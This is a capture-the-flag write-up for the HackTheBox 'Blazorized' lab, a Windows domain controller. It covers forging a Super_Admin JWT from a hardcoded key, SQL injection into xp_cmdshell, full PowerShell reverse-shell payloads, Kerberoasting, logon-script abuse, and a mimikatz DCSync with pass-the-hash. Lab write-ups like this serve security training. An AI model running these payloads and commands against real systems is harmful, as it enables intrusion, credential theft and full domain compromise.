HackTheBox Blazorized Writeup
Explore the fundamentals of cybersecurity in the Blazorized Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.22 blazorized.htb admin.blazorized.htb
Script to add hosts automatically
ip="10.10.11.22"
domain="blazorized.htb admin.blazorized.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV blazorized.htb
Host is up (0.048s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mozhar's Digital Garden
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-01 22:20:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022
|_ssl-date: 2024-11-01T22:20:39+00:00; -1s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-01T22:17:59
|_Not valid after: 2054-11-01T22:17:59
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-01T22:20:33
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Subdomains
To discover subdomains for the blazorized.htb domain using ffuf, run the following command:
ffuf -c -u "http://blazorized.htb" -H "host: FUZZ.blazorized.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302,404 -mc all
Result:
admin [Status: 200, Size: 2017, Words: 149, Lines: 28, Duration: 65ms]
- Main Site: http://blazorized.htb
- Admin Subdomain: http://admin.blazorized.htb
Analyzing Framework Files
You can retrieve Blazor framework files using curl. For instance, to get the blazor.server.js file:
curl -s http://blazorized.htb/_framework/blazor.server.js | grep '_framework/'
To beautify and print the Blazor WebAssembly file:
curl -s http://blazorized.htb/_framework/blazor.webassembly.js | prettier --parser babel | grep '_framework/'
curl -s http://blazorized.htb/_framework/blazor.boot.json | jq '.resources.lazyAssembly'
To download the Blazorized.Helpers.dll, use:
wget http://blazorized.htb/_framework/Blazorized.Helpers.dll
For analyzing the downloaded DLL, you can use AvaloniaILSpy or dnSpy.
- Preferred Tool: I recommend using AvaloniaILSpy since it runs on Mono and is less likely to crash on Linux.
Finding JWT Information
- Open Blazorized.Helpers in AvaloniaILSpy.
- Navigate to the Blazorized.Helpers.JWT section.
- Look for hardcoded payload information used for JWT creation.
Crafting Admin Coockie
```python
import jwt
import datetime
key = '8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a'
issuer = 'http://api.blazorized.htb'
audience = 'http://admin.blazorized.htb'
email = "superadmin@blazorized.htb"
role = "Super_Admin"
expiration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(seconds=60)
payload = {
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": email,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": role,
"iss": issuer,
"aud": audience,
"exp": int(expiration.timestamp()),
"iat": int(datetime.datetime.now(datetime.timezone.utc).timestamp())
}
token = jwt.encode(payload, key, algorithm="HS512")
print(token)
```
### Accessing Admin Pages
- **Store JWT**: Save the JWT token in local storage:
```javascript
localStorage.setItem('jwt', '<your_jwt_token_here>');
```
- **Gain Access**: Access the following admin URLs:
- [Admin Home](http://admin.blazorized.htb/home)
- [Check Duplicate Post Title](http://admin.blazorized.htb/check-duplicate-post-title)
### SQL Injection
- **Testing for Vulnerabilities**:
- Test with these payloads:
- `pwn' or 1=1 --`
- `pwn' or 1=2 --`
- Different responses indicate a vulnerability.
- **Network Monitoring**:
- Monitor ICMP traffic:
```bash
sudo tcpdump -i any icmp
```
- **Command Execution**:
- Execute commands via SQL injection:
```sql
pwn'; EXEC master..xp_cmdshell 'ping 10.10.14.17';-- -
```
**Note**: This confirms the command execution functionality within the database.
### SQL Revshell
- **Listening for Connections**:
- Start a listener on port 9001 using Netcat:
```bash
nc -lvnp 9001
```
- **Payload Generation**:
- Use the following command to create a PowerShell reverse shell payload:
```bash
echo -n '$client = New-Object System.Net.Sockets.TCPClient("'$(ip a | grep -A 2 "tun0:" | grep -oP "(?<=inet\s)\d+(\.\d+){3}")'",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -f UTF-8 -t UTF-16LE | base64 -w 0
```
- **Execute the Payload via SQL Injection**:
- Use the following SQL injection command to execute the payload:
```sql
pwn'; EXEC master..xp_cmdshell 'powershell -e <payload>';--
```
- **To read the flag**:
```powershell
type \users\nu_1055\Desktop\user.txt
```
### PowerView.ps1
- Download PowerView:
```bash
curl http://10.10.14.17:8000/PowerView.ps1 -o PowerView.ps1
. ./PowerView.ps1
```
- Find interesting domain ACLs:
```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "nu_1055"}
Get-NetUser -SPN | select serviceprincipalname
```
- **Kerberoasting Guide**:
- Reference: [HackTricks - Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast?source=post_page-----894f707082a7--------------------------------)
- **Set a Domain Object and Get Domain SPN Ticket**:
```powershell
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='pwn/domain'}
Get-DomainSPNTicket -SPN pwn/domain
```
Brute Force the Hash
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 13100 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
```bash
evil-winrm -i blazorized.htb -p '(Ni7856Do9854Ki05Ng0005 #)' -u RSA_4810
```
PowerView Usage for User Enumeration:
```bash
upload .local/www/win/enum/PowerView.ps1
Import-Module ./PowerView.ps1
Get-NetUser
```
**Output Example**:
```
samaccounttype : USER_OBJECT
accountexpires : NEVER
```
- Insert the `ScriptPath` for the `RSA-4810` account, granting full access to the suspicious account. The `shell.bat` file will execute whenever `SSA_6010` logs in:
```powershell
Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\shell.bat"
```
Listener:
```bash
nc -vnp 9002
```
Payload:
```bash
echo -n '$client = New-Object System.Net.Sockets.TCPClient("'$(ip a | grep -A 2 "tun0:" | grep -oP "(?<=inet\s)\d+(\.\d+){3}")'",9002);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -f UTF-8 -t UTF-16LE | base64 -w 0
```
```powershell
'powershell -e <payload>' | Out-File -FilePath C:\Windows\sysvol\domain\scripts\A32FF3AEAA23\shell.bat -Encoding ASCII
```
```bash
cd \users\ssa_6010
curl http://10.10.14.17:8000/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:administrator" "exit"
```
```bash
secretsdump.py WORKGROUP/Administrator@10.10.11.22 -hashes :f55ed1465179ba374ec1cad05b34a5f3
```
```bash
evil-winrm -i blazorized.htb -H 'f55ed1465179ba374ec1cad05b34a5f3' -u administrator
```
```powershell
type \users\administrator\desktop\root.txt
```